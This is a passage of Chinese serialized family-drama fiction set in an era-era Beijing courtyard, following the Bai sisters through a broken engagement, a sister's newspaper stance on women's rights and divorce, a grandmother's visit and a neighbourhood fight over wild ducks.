看出白兰的惊讶，许建北笑道：“这事儿毕竟跟三嫂有关。她没说，我也不好多说。不过，三嫂特别厉害。投的钱都回本了。我现在就躺着数钱就行了。” 白兰一听乐了。能搭上女主的顺风车，这种好事真是多来几次都不嫌多。 见白兰这个反应，在场三人都松了口气。 柳美玲是觉得自己的坦白，换来了对方的赞赏，这让她觉得自己眼光很不错。 许建南是觉得小弟的对象能跟自家媳妇相处，那十分好。因为大嫂跟自己媳妇就处不来。 而许建北则是觉得自己善意的这点小隐瞒，终于不用再瞒着呢！ —— 四人正高兴着呢，忽然就听到隔壁厢房传来一阵男人的哭声。 白兰其实还真没听到过男人的哭声。冷不丁一听，还觉得十分惊讶。 而许建南已经站起来朝外头走去。不到一分钟，拉着一个熟悉的人走了进来。 “邱成才怎么在这儿？”白兰小声问许建北，眼睛却盯着憔悴不堪的邱成才。 前些天见对方，还是一副喜气洋洋，准备跟白苹结婚的样子。这才几天啊，居然变成这副样子。难不成这次是真分手呢？ 马上，邱成才就解答了白兰的疑惑。 “建南啊，你说我还不够好吗？怎么白苹说她没喜欢过我？我真是个废物吗？” 许建南有点头大。刚他听到哭声就知道是邱成才。两人是高中同学，又是好朋友。以为对方出什么事情，他就过去隔壁看了一眼。然后，对方听说白兰在这里，就跟着自己过来了。 “小妹，哦，现在不能叫你小妹了。白兰同志，你说。我是不是很废物，你三姐是不是在家里经常抱怨我这个不好，那个不好……” 白兰张了张口，实在不知道怎么应付这种局面。但她很想说，白苹这是吃了什么善良药吗？怎么良心发现，居然跟邱成才坦白呢？按照白苹的人设，不应该若即若离，继续吊着邱成才，时不时从他身上薅些羊毛下来吗？ 邱成才显然也不是真想得到白兰的答案。因为他心中早已经有了答案。 在这里发了顿酒疯后，他好像清醒了过来。十分愧疚地跟在场的人道歉。谢绝了许建南想送他的想法，跌跌撞撞走了。 “这人可真是……” 柳美玲有点受不了地摇摇头：“他这样可真不成熟。那白苹就不是个好东西。能跟他分手不是要谢天谢地吗？哦，白兰。我没有其他意思。” 白兰：我懂，我懂你的意思。白苹确实不是啥好东西。邱成才能现在就跟对方分开，不再当血包，就已经是件幸运的事情。 而白苹不再吊着邱成才，估摸着是邱成才的妈出手了。不是说对方的亲妈是个厉害的角色吗？ 只是白兰很好奇，到底是怎样的条件，能让白苹跟邱成才摊牌？这个条件，一定相当诱人。 而很快，白兰就知道白苹为什么会跟邱成才摊牌了。 三天后，白苹拿着妇女报的调函，志得意满回到家里。 —— “这老白家的祖坟是冒了青烟不成？” 大杂院的邻居们，对于白苹居然能进报社工作，一个个都目瞪口呆。 “要真冒青烟了，老白家就不会成了绝户头！那老白家的大闺女，也不会离婚！” “哎，我们家千辛万苦也没能给孩子找工作。这老白家可好，百货商店售货员的工作说不要就不要。转头人就进了报社。真是老天无眼……” “别说啥老天，你这是封建迷信……” 邻居们的议论声一声高过一声。酸言酸语更是差点没把整座大院给酸倒牙。 白苹十分自得地接受着这些话语，顺带跟家里人说准备搬到报社那边住。报社不止给了调函，还给她安排了住所。这样的待遇，不愧是个好单位。 家里人能说啥呢？ 反正没有一个人拒绝的。都觉得白苹最近这样老折腾的，早点去外头住，说不定家里还能清净点。 至于对方那些骄傲自得的话，白家人一致忽视。 只白妈妈还是耐着性子，想打听清楚这工作到底是怎么来的。 白苹也没有隐瞒，因为她已经答应周彩蜜，要对外公布她跟邱成才分开的消息。 所以，马上大杂院的邻居们就又听到一个劲爆的消息。 “天啊！得了个好工作，转头好对象就没了。” “这做人啊，就是不能全把着好事的。” “我就说老白家的祖坟没有冒青烟！” 众人的议论纷纷还没来得及停歇，大杂院的人又听到一个更好的消息。 那就是老白家那个离婚的大闺女，又上报纸啦！ 第19章 第19章白大姐的逆袭路 “真没想到大姐你居然敢这样说……” 白家堂屋里，白梨抖了抖手上的报纸，十分震惊。 报纸是刚刚邮递员送来的样刊，正刊明天上市。本来邻居们都因为白苹的新工作，以及跟邱成才分开而沸腾起来。 现在这样刊一出，那真就是凉水掉进了热油锅。不到一分钟，整条胡同的人都往老白家挤。 外面的热闹并没有打扰到老白家的讨论。 这会子白梨看完了手上的样刊，还没感慨两句，报纸就被边上抿着嘴的白苹抢了过去。 她扫了几眼过后，用一种十分不甘的眼神看了大姐几眼。接着言不由衷地说道：“大姐，你在报纸这样说，到时候怕是要得罪人的。” 白兰多少看到过大姐之前写的稿子，知道大姐这次去市妇联的谈话内容，会被摘取一部分放到妇女报上刊登。 不过，没想到刊登的内容这样进步。 白兰刚已经跟白梨一起看过样刊，这会子也忍不住默默为大姐鼓掌。 报纸上的内容围绕着的核心其实就一个，女性同胞们要懂得爱自己。 这是一个十分宽泛的概念。在当下的环境提出来，更是显得格格不入。特别是大姐提到那些受到压迫欺负的已婚妇女，要懂得用各种方法保护自己，懂得婚姻自由，女性是可以离婚的。这种观念在时下算得上“离经叛道”。因为跟主流思想格格不入。这报社敢这样登这篇文章，想来相关负责人的思想十分进步。 白妈妈虽然觉得大女儿的这些话被其他人看到，可能要承受不少压力。但三女儿这样说，她就是觉得不对。 “苹苹，你大姐的话很有道理。人不该爱自己吗？受到欺负不应该反抗吗？不能因为怕得罪人就装聋作哑。” 白苹觉得家里人好没道理。自己这样说，不就是怕大姐得罪人，进而连累一家人吗？真是好心当了驴肝肺。 “我不管了。待会儿收拾完东西我就搬走。” 白爸爸见白苹这样发脾气，想说搬东西要不要他帮忙。但最后还是住嘴了。家里四个闺女，现在三闺女这个样子，他也觉得有点棘手。 —— 外头邻居们见白苹推门就走了。马上就有人凑过去打听报纸上到底写了什么？ 这白家大闺女离个婚，居然能上两次报纸。什么时候，离婚还成了光荣的事情呢！ 白妈妈倒是没有直接把邻居打发了。虽然来问的人中，有看热闹的，但也有真关心的。所以她打起精神，出来跟邻居们大概说了些报纸的内容。主要是给她们打好预防针。等明天报纸上市了，大家知道后不会理解错大闺女的本意。 白兰见状，看向大姐：“大姐，你有想好之后要面对可能的各种声音吗？” 她很赞赏大姐的勇气，但也担心大姐会遇到很多质疑。 大姐微笑：“市妇联邀请我过去工作。我已经答应了。” 白兰惊讶看向大姐，没想到居然还有这么一出。 “那你刚刚为什么不说？”说了，爸妈应该不会担忧了。 白莲耸耸肩：“刚白苹在呢！” 白兰秒懂。不就是怕白苹闹腾，然后又开始搞事情吗？这样一想，白兰有种以前那个温和无害的大姐，好像变得狡黠起来。她好笑道：“你现在不告诉她。等她听说后，铁定气得跳脚。” 白莲眨巴了一下眼睛：“那就让她尝尝跳脚的滋味。” 围观的白梨默默不出声。以前的她可能会出声维护白苹。但最近这些天下来，她发现自己好像重来没有了解过那个柔弱的三妹。 —— 白苹的搬离悄无声息，并没有引来多大的水花。因为大伙儿的注意力都在白大姐上报纸这个事情上。 第二天报纸上市，立马就引起了一波轰动。这次不止是他们杏花胡同了，整个北城，无论看或者不看妇女报的人，都知道了大姐的那些观点。好多人讨论，有 人赞同，有人批评。 而大姐好像经历了离婚跟白苹的背刺后，整个人变得相当通透。有种“千磨万击还坚韧，任尔东西南北风”的坚忍通透。 白兰觉得这样的大姐，充满了人格魅力。 而这样的大姐，在市妇联的工作很顺利就开展了起来。一上任就接手了一个关于女性在家里受到暴力的救助项目。 这是个很有意义的工作。白兰就把一些在现代见识到的措施告诉大姐。平常有空会帮她带带两孩子。好让大姐有更多精力投入到工作中。 家人们的支持，让白莲的工作越做越好。 在这样的情况下，白苹那边就显得不够看了。 —— 没错，白苹自从半个月前从大杂院搬走后，就没回过大杂院。关于她的消息，家里人知道的不多。大多数还是大姐在跟报社的人往来时，人家顺嘴告诉她的。 听说白苹去妇女报报道后，并没有如愿进入采访岗位。反倒是被安排到档案室。负责整理历年来所有出版过的报刊。 妇女报的前身是北平妇女合作报，从民国开始就有的。历史挺长的，出过的报刊更是多不胜数。听说白苹刚见到那几大间屋子的报刊，那脸色绿得比青瓜还夸张。 白兰听到大姐的这个转述，笑得不得了。怪不得白苹这段时间都没回家一趟。要是她日子过得好，估计早回家炫耀一番。好打脸她们呢！ 现在知道白苹过得不如意，白兰就觉得比大夏天喝两瓶汽水还要爽。 而另一头的白苹呢？日子确实过得很糟糕。来到报社，就被打发到档案室。档案室那些陈年老旧的报刊，积满了灰尘不说，还带着一股子霉味。 白苹觉得自己在里头呆一天，整个人都散发出一股霉味。要是长年累月下来，估计身上都要长蘑菇的。 而且报社的人一个个的态度都很差。一点都不像百货商店的职工那样，对自己热情帮忙。 其实，白苹也不想想。她在百货商店的工作是邱成才的爸给安排的。这人是百货商店的主任。主任的关系户啊，其他职工不得供着啊！但报社就不同了。报社里头有真材实料也有关系户。 可惜，白苹两样都靠不上。 而且最近很火的白莲，是她亲大姐，也没托人照顾她一下。可想而知白苹这人跟白莲关系肯定很一般。 报社的都是人精子，知道白苹无利可图，人家怎么会搭理她一个空降过来的小喽啰。 可惜，顺风顺水二十年的白苹，暂时没想通这一点。她已经被繁琐的报刊整理弄得快发疯。 更加过分的是，白苹发现大姐正朝自己最向往的道路前行。 这种结果，是她所不能接受的！ 不过，白家人都没空搭理白苹了。因为这天一早，家里迎来了一波意想不到的客人。 —— “是这条路，我记得就是这条路。” “哎哟，城里人的胡同都长得差不离。咋看都一个样儿！” 又是一个周末到来。一早，许建北就来到杏花胡同，准备找白兰一起去郊区那边拉些京白梨回来。这秋天来了，京白梨也开始下树了。 为了这，他还特意借了一台车过来。 车子还没进杏花胡同，许建北就看到一个小年轻，正跟一个头发半百的老大妈，站在路口正说着什么。他觉得那位老大妈长得很面善，就放缓车速过去。从车窗探头出来问：“同志，是遇到什么困难了吗？” 老大妈正在跟小年轻描述胡同的模样，听到许建北的声音，乐呵呵地点头：“哎哟，好俊的后生啊！” “奶奶……” 小年轻有点不好意思地挠头，看向许建北：“同志，就是请问杏花胡同三号大杂院怎么走？” 许建北一听这话，笑了起来：“我也是去三号大杂院，你们要不要上车，带你们走一个？” 何学军看了看自己鞋子上沾着的泥巴，想摇头。不过他奶奶倒是豁达：“不用，不用。跟我们说说怎么走，我们两从村里来，鞋子上沾了不少泥巴。弄脏了你的车就不好了。” 许建北也不知道为什么，挺喜欢这位老人家的。闻言摆手：“没事，我这车子马上也要到乡下去拉白梨。听说今年白梨大丰收……” 老人家一听也不扭捏，推着小孙子一起上车。顺便跟许建北唠嗑：“我们这次也挑了两箩筐的白梨过来。自家种的不值钱。想着来看他姑，就带些过来了。” 许建北顺口就问：“哦，那是走亲戚啊！老人家，我家就是三号大杂院的。你去哪家啊！” 老人家一听，直拍大腿：“哎哟，巧了哟！我那闺女就是嫁到老白家的。她那当家叫白小牛，你知道不！” 双手放在方向盘上的许建北，动作一顿，心里暗叹真是巧啊！他随便偶遇的路人，居然是白兰的姥姥。怪不得觉得这老人家面善。白兰的眼睛跟鼻子，跟老人家有八分像呢！ 这样一想，他心里就更加高兴。暗道，这算不算不是一家人不进一家门。 他想开口自我介绍，说自己是白兰的对象。但话还没出口，车子就到了三号大杂院门口了。 第一次，许建北暗恨这车子跑得也太快了些。 而白家姥姥呢，看到大门口牌匾上大大的“三号”两个字，已经乐得道：“同志，同志，到喽，到喽。真是感谢你！” 许建北一听，只能按捺住心中的那点后悔，麻溜儿先把老人家搀扶下车。然后不管想凑过来的小年轻，只道：“同志，你这不是要挑箩筐吗？我扶着老人家进去，你跟上就是了。” 何学军见状暗暗感叹城里人真热心。然后挑起两箩筐的白梨，屁颠颠地跟在身后。 第20章 第20章生猛的白家姥姥 “哎哎，小伙子。到了到了，你先别走，给你拿几个白梨。” 许建北扶着白家姥姥走到白家门口，老人家就热情地拉着许建北吆喝起来。生怕没来得及把谢礼送给对方。 看着递到眼前的几个圆乎乎的白梨，许建北有点哭笑不得。 这时候白家人也被外头动静吸引了出来。许建北一看白兰出来，立刻朝她投去求救的目光。 白兰手里还拿着吃了一半的馒头，见到眼前这一幕，噗呲一声笑了出来。 白家姥姥有点摸不着头脑，但看到小外孙女，乐得见牙不见眼。 院子还有其他邻居早起在干活，见到这一幕，一个个也跟着乐了。 胡寡妇这个多嘴的，立刻就嚷嚷：“哎哟，这不是爱红她妈吗？哎，白家姥姥，那小伙子可是白兰的对象呢！你未来的小外孙女婿！” 这关系说着可真是够拗口的。但院子里的大妈婶子们就爱看小年轻的笑话。闻言一个个哈哈大笑起来。 苗大菊也在院子里，见状忍不住捂脸，转头跟自家男人嘀咕：“建北那小子平时不是特机灵的吗？怎么这会儿瞧着有点呆头呆脑？” —— 被亲妈嫌弃的许建北，这会子已经整理好表情，温和地朝白家姥姥打招呼：“姥姥你好，我叫许建北。家就在边上的西厢房。今年19岁，在螺丝厂当技术工人。” 白兰难得见许建北这副紧张的模样，干脆靠在门边继续看对方的表现。 许建北看懂了白兰的想法，眼中闪过一抹宠溺。心想这姑娘狡黠起来，可真是让人觉得又爱又无奈。 白家姥姥显然很喜欢许建北这样的俊小伙。刚在路上碰到时，就对许建北夸了又夸。现在一听对方居然是自己小外孙女儿的对象，乐得伸手就拍了拍许建北的肩背。 “不错不错，小伙子身板子结实，又长得那么俊。”白家姥姥说着，又朝白兰招了招手。 白兰立马走了过去喊人：“姥，你怎么这么早就过来呢？” 白家姥姥笑道：“小兰，你眼光真不错。找到这么一个俊小伙。你大姐的眼光就不成，那秦胜利长得就跟头熊一样，没一点跟俊搭边。现在还跟你大姐离婚呢！” 前一秒还笑眯眯的白家姥姥，下一秒就直接变脸，说到秦 胜利的名字时，充满了杀气。 要知道老人家当年，也是提起柴刀砍过好几个鬼子的女英雄。这杀气腾腾的话一出，热闹的大杂院都安静了一瞬。 一些大妈是知道白家姥姥事迹的，这会儿一听对方的口风，就知道这是白莲离婚的事情，传到郊区去了。老人家这是上门来问询，也不知道会不会去老秦家找晦气。 白妈妈跟白爸爸早就已经来到门口。听到老人家的话后，白妈妈立刻上去：“妈，有啥事儿回屋里说。” 白家姥姥冷哼一声，又转头笑眯眯跟许建北交代：“小伙子，姥姥我要去处理点事儿。你先跟兰兰在院子玩。” 说着，老人家双手背在腰后，率先进屋里去了。 留在门口的白兰跟许建北面面相觑，都被这反转给弄得有点哭笑不得。 许建北打破沉默：“姥姥可真是威武！”刚那杀气腾腾的模样，真是让许建北愣了愣。 白兰也觉得姥姥真是神了。农村老太太、杀鬼子英雄两个身份，转变得相当丝滑。 一直挑着两箩筐白梨，被众人忽视在角落的何学军，终于认不出开口：“妹儿啊！” 白兰：还真把这位表哥给忘了…… —— 屋里，白家姥姥已经对白大姐离婚的始末问了个一清二楚。在得知大外孙女离婚后过得更好。她那点生气就消影无踪了。 “可惜大姐早早带着两孩子出门去了。不然见到姥姥，保准高兴得找不着北。” 白兰让许建北先回家等等，她带着表哥先回家里。一进门看到老太太的脸色变得好看起来，立刻凑趣说道。 “你们就不该瞒着家里的。要不是你大舅看到报纸回来说，咱到现在还把姓秦的当亲戚呢！今年队里的白梨长得好，下的果子多。你大舅还说要往秦家送一些。” 想想大外孙女都离婚了，他们这姥姥家还往那送东西。不知情的人怕都要以为他们家后悔了。舔着鼻子上去讨好人呢。那这脸可就丢大了！ 白妈妈一听，表情讪讪：“这不是怕直接说，会吓到你跟爸吗？” “怕什么。不就是离婚吗？民国那会儿、解放那会儿多少人离婚。当年我跟你爸杀鬼子，眼睛都不带眨的，可不是学军这些没见过世面的可以比的。” 再一次躺枪的何学军十分郁闷。早知道今天就让大哥来了。他还想着进城逛逛的。谁知道一路上被奶奶嫌弃。 “你那啥表情呢？你跟你大哥他们几个小辈，不就是没见过世面吗？可惜，现在进城找工作不容易。不然，你们几个找对象也不会那么费劲儿！” 话题马上就转到了表哥表妹们的对象问题，白兰听得囧囧的。 —— 说起来，她妈的娘家人口在这年代也不算多。 老何家是住在京郊三河公社下属的红河大队。整个三河公社都是京白梨的种植区。社员的收入不算高，但日子绝对比很多农村要好过不少。 姥姥、姥爷当年给红军带过路，还杀过几个鬼子。所以在公社都很有面儿。两老一共生了两儿一女。白妈妈是中间的那个。 大舅留在红河大队，跟姥姥姥爷一起住。现在是红河大队的大队长。二姐白梨当年下乡，就是托关系安排到这里的。要不是就在岳家插队，白爸爸就是拼死也不会让闺女下乡去的。好些人的闺女下乡，听说过得特别糟糕。 大舅妈则是隔壁长河大队的人，家里有木匠手艺，日子过得不难。 大舅大舅妈一共有三个孩子，分别叫何学工，何学农，何秀美。其中，就18岁的何秀美还没结婚。 小舅妈的娘家爹在公社屠宰场杀猪，因为是独生女，所以小舅一家婚后就住在公社屠宰场家属院。小舅现在也在公社屠宰场杀猪。 两人婚后就生了一对双胞胎。今年都是19岁。儿子就是来家里的表哥何学军。现在也在屠宰场工作，负责接收各大队送屠宰场的鸡鸭。女儿叫做何秀丽，目前在公社办公室当临时办事员。 总的来说，老何家的条件在当地算是挺好的。但是见过世面的姥姥，知道自家就那样。而且，因为这个条件不好不坏，找合适的对象更加费劲儿。 这不，何学军、何秀丽眼瞅着都19岁，老大家的秀美也18岁了。他们三都要开始考虑对象问题。 —— 何学军听到奶奶的话，朝白兰露出个无可奈何的表情来。 白兰噗呲一声笑了出来。她这小表哥确实挺好玩的。看着有点傻呆呆的。但能在屠宰场接收鸡鸭的，人也不是个笨的。 “哎，奶。咱还是说正事，正事要紧。” 白家姥姥瞪了小孙子一眼，这才道：“这不是公社屠宰场最近弄了一批野鸭子。也不知道从哪来弄来的，数量还不少。私下里已经在分了。你小弟的老丈人就问我们家要不要。我寻思着正好因为小莲离婚的事情要过来一趟。干脆就问问你们要这野鸭子不？” 这时候的野鸭子肉相对猪牛羊肉，算不得特别好吃。但是，因为肉难买，有野鸭子肉吃那也好啊！ 白爸爸这个厨子，一听有野鸭子就激动了：“要，怎么不要。现在入秋了，炖鸭子汤补身体好。” “要就成，咱现在就过去，早点过去还能选呢！”说着，白姥姥就起身，一副马上要出发的模样。 这种风风火火的状态，让白兰又是一愣。这姥姥还真是雷厉风行，说干就干。 她知道姥姥的性格，是劝不动的。索性就说道：“正好建北借了车子。姥，干脆让他送我们过去得了。” 白家姥姥一点都不扭捏，闻言又是夸道：“小兰，你这对象找得真不错。小梨、学军。你们两找对象就得可着俊的、机灵的找。这样以后的日子才过得有意思。” 白兰忍不住又想笑了。她发现自家姥姥还真是个有趣又直白的老太太。 老太太见白兰这副表情，伸手点了点她：“你啊你，你还小不懂。像我，找了你姥爷这样的俊老头，一辈子看得眼睛舒舒服服的。” —— 说出发就出发。许建北开着车子上路的时候，人还有点懵。 一般人来走亲戚，不得吃个饭才走啊！更何况白家姥姥这可是大早上，就从郊区倒了几趟车过来的。听说早饭就啃了两个二合面馒头。但这老太太这会儿就指挥着众人上车，一起往郊区买野鸭子去了。 “野鸭子很多吗？”开着车，许建北小声问副驾驶上坐着的白兰。 白兰点头，看了看后座挤着的四个人。姥姥跟学军是要一起走的。自家老爸听到有野鸭子也想去。自家妈自然也要跟着走一趟。这不，车子就挤了那么些人。幸好这时候的吉普车后座位置宽敞的很。 一行人速度很快，两个小时左右就到了三河公社屠宰场。这个点正好是中午吃饭的点，众人索性找了家国营饭店吃了个饭，这才去小舅家。 何小舅见自家妈跟儿子出门一趟，居然把小妹一家都带了回来。吓了一跳，赶紧拉着白妈妈问了起来。 白兰见状，跟许建北站在边上打量起这个屠宰场的家属区来。 但这时候，白家姥姥神神秘秘地朝白兰招手。 “姥，咋啦？” —— 白姥姥相当直接：“刚你妈一直在我就没问。小苹那妮子怎么没在家？她是不是做了什么不好的事情？” 不然，闺女不会从见面到现在都不提一句白苹的。她可是了解，自家闺女对白苹的那点子愧疚之情。总觉得她没给白苹生一副结实的好身体。 白兰真佩服自家姥姥。这是躲着自家妈来打听消息呢！之前她就翻过记忆，知道这位姥姥从小就不喜欢白苹。她也搞不懂，但姥姥问了，她也不会隐瞒。 于是，白兰就把白苹这段时间的作为，一一跟白家姥姥道明。 老人家听完后，深吸了一口气：“我就知道这孩子是个自私的。” 白兰不好插嘴，但是心中的小人拼命点头。可不就是自私吗？而且是相当自私的那种。 “你以后跟她往来要小心点，别跟你二姐那样，被她卖了还帮她数钱。” 白兰懂这话的意思。当年二姐其实不用下乡的。但是为了白苹最后下乡了。结果白苹拿到 本来属于二姐的工作也不珍惜。转头就让邱家给她找了个工作。 要不是二姐下乡的地方，正好就是姥姥家的话，白兰相信家里其他人都会对白苹相当有意见。 “不会不会，她搬走了，以后往来就更少。就是妈，这段时间也被她来回折腾，弄得耐心也快没了。” —— 这头祖孙两在聊天，那头的白爸爸跟白妈妈，已经跟着何小舅挑好了要买的野鸭子。鸭子的数量还不少，一口气买了十只。 本来还准备开车继续把姥姥送回红河大队的。但姥姥表示要在小舅家住一晚再回去。最后，白家人连着许建北一起，就带着那十只野鸭子，直接往回赶。 车上，白妈妈直接问白兰：“刚你姥跟你问了苹苹的事儿不？” 白兰：“对啊，姥问了，我就答了。” 白妈妈有点沉默，但最终什么都没说。自家妈一直不喜欢白苹她是知道的。明明小梨跟苹苹是一起出生的双胞胎。但她妈看苹苹第一眼，就不喜欢这孩子。那会子的苹苹，还是刚出生，跟条鱼那么大点。因为在胎里的营养都被小梨给吸收了。所以跟小梨比起来，个头直接小了一圈。 这样可怜的孩子，她也不懂自家妈为啥不喜欢。 现在妈知道了苹苹的所做作为，估计会更加不喜欢这孩子。 想到这些，白妈妈叹气。白爸爸刚因为野鸭子高兴的心情，也变得低落了下来。 —— 车子一路顺利回到了大杂院，除了气氛不好，其他什么都挺好的。 但是，白兰马上就被打脸了。 因为他们刚下车，还没来得及把固定在车顶上的野鸭子弄下来。迎面就看到白苹气冲冲地朝他们跑了过来。 好些天都没看到白苹了，冷不丁见到她，白兰还有点认不出来。 因为以往光鲜亮丽的白苹，这会儿脸色憔悴，眼眶发黑，嘴唇泛白。瞧着就一副惨兮兮的模样。 “白兰，你是不是认识一个姓蔡的老大妈？” 白兰皱眉，姓蔡的大妈其实挺多的。光是杏花胡同就能找到三个。但白苹这冷不丁冒出来问，白兰的第一反应就是那个蔡大妈。 而白苹已经不等她说话了。马上就突突地道：“你自己在外头惹了人家，结果人家报复到我头上来了。你知道吗？这老不死的之前居然给邱成才他妈送了封举报信。不然的话，我们是不会分开的。” 最起码不是那么快分开。她还有很多事情，需要邱成才帮忙。 现在没了邱成才，她又掉进了坑里，天天对着一堆发霉发臭的旧报纸。白苹坚持了一段时间后，就有种一辈子都要这样过的恐惧感。 今天放假，一个长得恶心的姓蔡老女人，居然直接跳到她跟前，叭叭说了一通她跟白兰的恩怨。然后把自己做的好事儿一股脑炫耀了出来。 白苹这才知道，自己这么倒霉，中间有一大半都是白兰的原因。 —— 白兰听完后相当无语。她也不知道蔡大妈还在搞事情呀！但还别说，蔡大妈这歪打正着，愣是解救了邱成才。 所以，白苹这叨叨个没完有啥用？反正她是不管的。 只是白兰也不免感叹，前脚才跟姥姥说以后跟白苹往来少，后脚白苹就冒了出来。着实有一丢丢打脸。 白爸爸跟白妈妈刚经历了车上的一番沉默，现在看到白苹指责白兰的模样，真觉得好没道理。两人觉得特别失望，失望到一句话都说不出来。 白苹转头看到后，更加气愤了。她今天来，就想在白兰身上找到公道。最好是让白兰赔她一个好工作。但是现在，没了父母的支持，她要压着白兰根本不可能。 而白兰也确实不会给她一丁点儿机会。 因为她已经朝大杂院那边吆喝，直接把大头几个小伙子给喊了出来。让大家帮着把十只野鸭子提回大杂院。顺便推着爸妈往家里走。 至于还在跳脚的白苹，被众人无视了个彻底。 本来爱看热闹的邻居们，看到那么多野鸭子，早已经被勾得移不开视线。 谁还管白苹那点陈谷子烂麻子事儿呢？ 被众人丢下的白苹，气得浑身发抖。她什么时候，连几只野鸭子都比不上呢？既然都瞧不起她，她一定要让这些人后悔！ 可惜，无人在意她。大家都去抢野鸭子去喽！ 20-30 第21章 第21章野鸭子抢夺战 “让开，让开。让我先来，让我先来……” 大杂院响起了胡寡妇那超大嗓门。大伙儿看都不看她，只一味地围着那十只野鸭子，像是看什么大宝贝一般。 已经有人拉着白爸爸打听鸭子的来路。白爸爸也没卖关子，直接说是朋友弄来的。特意多要了几只，家里就留五只，剩下五只可以匀给大家。 一听只能匀出五只，众人的争抢就越发激烈了起来。 整个大杂院一共有11户人家，根本不够一家分一只的。有人就问白爸爸能不能再匀两只出来，但白爸爸拒绝了。他留的这五只，两只留家里吃。 一只送给许建北。对方是小闺女的对象，又帮忙来回跑这么一趟。而且小伙子真不错，白爸爸估摸着对方十有八九就是自己的小女婿了。这自己家人当然要紧着些。 剩下两只，大闺女离婚了，老秦家不用考虑。但他还有当年学厨就认识的老友。这些人都是有手艺的老饕。这野鸭子品相不错，正适合给他们送去。 见白爸爸死活不松口，众人只得更加紧去抢那仅有的五只野鸭子。 白兰见众人这样疯狂，真怕他们直接摆野鸭子抢成死鸭子。刚想喊大伙儿别挤别挤。就看到胡寡妇以一敌百，直接杀出重围，把一只“丫丫”叫的野鸭子抱到了怀里。 一手拦着野鸭子，她还一手把挤过来的人往外推，边推边喊：“别挤，别挤。人人有份，人人有份。” 白兰见这么一个搅屎棍，居然都帮忙维持秩序起来了。简直有点目瞪口呆。 其他邻居同样被胡寡妇的骚操作惊呆了。 “哎呀，胡妹子，你啥时候变得这样热心肠啦！” 住在胡寡妇隔壁的万大妈嘲讽道。她是最想要抢鸭子的人之一。家里儿子孙子好些天都没吃到肉了。可让万大妈焦急死了。 其他人也跟着附和。僧多粥少的情况下，谁先拔头筹，自然成为大家集火的对象。 白兰虽然知道这年头肉难得，但没想到几只野鸭子让整座大杂院充满了火药味。大家都好像不抢到鸭子不罢休的模样。 胡寡妇可不怕大家的集火，只见她一手抱鸭，一手叉腰，口沫横飞：“我们家爱民要相看对象了。人姑娘上门，不得整点好东西给女方家吃啊！怎么？你们不都是看着爱民长大吗？让一只鸭子也不愿意吗？” 大家一听瞬间不说话了。这结婚可是人生大事，再怎么讨厌胡寡妇吃独食，也知道不能坏人姻缘。 但还是有人不甘心：“啥时候相亲，你咋滴没说？野鸭子一来就说要相亲！” “哼，早说了，我怕那么好的姑娘被你们撬走了。行了行了，就这两天。等相亲成功，人家女方同意上门来吃饭。到时候保准你们都知道。” 边上的大头小声嘀咕：“也不知道胡寡妇能给瘦杆儿找个啥好对象？” 瘦杆儿就是胡爱民的花名。这人长得又瘦又矮，跟撑衣杆似的。他们同龄的人都喊他瘦杆儿。 白兰：“怎么？你也想找对象啊！” 大头连连摆手：“别别别，就我家那样的，找对象那是害了人家！” 说到这里，大头悄咪咪看了一眼秦艳。见她没心没肺地在那看鸭子，有点失落但更多是庆幸。 这一幕被许建北看在眼中。但他啥也没说。 —— 而那头的胡寡妇经不住大家的起哄，最后还是松口：“那姑娘家在三河公社下头的生产大队。” 大伙儿一听是个农村来的，顿时没了继续打听的想法。 在大家的心中，找对象第一等的自然是 城里姑娘，而且最好是医生、护士、售货员这样职业的姑娘。次一等的依然是城里姑娘。只不过工作可能差一点。再次一等的，就是没有工作的城里姑娘。农村姑娘基本不在考虑范围内。 无他，因为这时候的户口限制问题，农村人要在城里生活，没有粮本，没有配给粮，那等于娶了个负担进来。这姑娘的吃喝拉撒都得占用婆家的人配给。每个人的配给本来就不多，这一被占用，只能拿更多的钱去黑市买粮。没钱的人家，就只能勒紧裤腰带过日子。 所以，找农村姑娘，那一般都是家里条件特别不好的人家才干的。他们在城里找不到对象，只能往乡下找。 有人好心地劝说：“怎么找个农村姑娘啊！” 胡爱民再怎么差劲，那也是个正式工人，还是电工呢！ 胡寡妇撇撇嘴：“人姑娘在公社上班呢！” 虽然是在公社上班，可惜是个临时工。之前看到白家姥姥过来，她还想着凑过去，打听一下对方晓不晓得这姑娘呢。可惜，这老太跑得也忒快了些。 大伙儿见胡寡妇嘴硬，也不跟她掰扯太多。转头又投入到剩余四只鸭子的争夺中。 最终还是白兰提议，两三家合买一只鸭子，这才结束了这场夸张的野鸭子争夺战。 当然，大家那么快妥协，也是因为整条胡同的邻居都跑来看热闹了。再不分，那是野鸭子毛都摸不着。 —— “这鸭子真不错，身上的肥油挺多的。到时候给炖个鸭子汤，再炒个鸭胸肉。肥油全部弄下来榨油。到时候油炸给你跟你妹妹来两人吃。” 胡寡妇揉捏着野鸭子的肥肚子，露出十分满意的笑容。 “妈，用得着那么夸张吗？不就是上门相看，咋还给人杀鸭子吃。” 胡爱明喜欢吃肉，但家里肉难得。好不容易抢到一只肥鸭子，结果却要在相亲的时候，杀给外人吃。这让他十分不得劲。 “这次的对象可是你何叔介绍来的，靠谱得很。” 何叔是附近一家回收站的站长。妹妹胡爱花就在那上班。对方可是他那死鬼爹的好兄弟。这些年给过他们家不少帮助。所以，一听人是对方介绍的，胡爱民的脸色这才好看起来。 “也是，何叔靠谱。说不定这次就能成了。” 其实大杂院的人不知道，他这两年一直私下里偷偷跟不少女同志相亲。但是每一个都是见一面就没下文。这次何叔既然开口介绍，那么一定能成功。 胡爱民挺了挺他那肋骨分明的小胸膛，脸色露出迷之笑容来。 这一天，整座三号大杂院上空都飘荡着野鸭子的香味。当然，除了老胡家。老胡家这只野鸭子，可是担负着胡爱民未来幸福的重任！ —— 第二天又是一个工作日。 白兰早早起来准备上班，昨天一天过得相当愉快，所以今天起床她的心情也特别美丽。 不过刚出门就碰到了秦艳也起床了。她有点惊讶对方怎么今天又那么早起来了。 然后就看到秦艳朝东厢胡寡妇家努努嘴：“那瘦杆儿昨晚跑我家里，找我哥给他壮胆呢。” 白兰挑眉：“壮啥胆儿？” 秦艳：“陪他一块儿去跟相亲对象见面。说是人家女方家上门相看前，想私下里跟男方见见面。” 白兰秒懂。这没看上的话，上门相看就免了。 两人正说着话呢，就看到秦艳她大哥秦堂也从家里走了出来。 秦堂今年20岁，一米八的大高个，长得端正阳光。看到白兰笑出一口大白牙。 “秦哥啊，你今天休班吗？”不然也不会有时间陪胡爱民去跟相亲对象见面了。 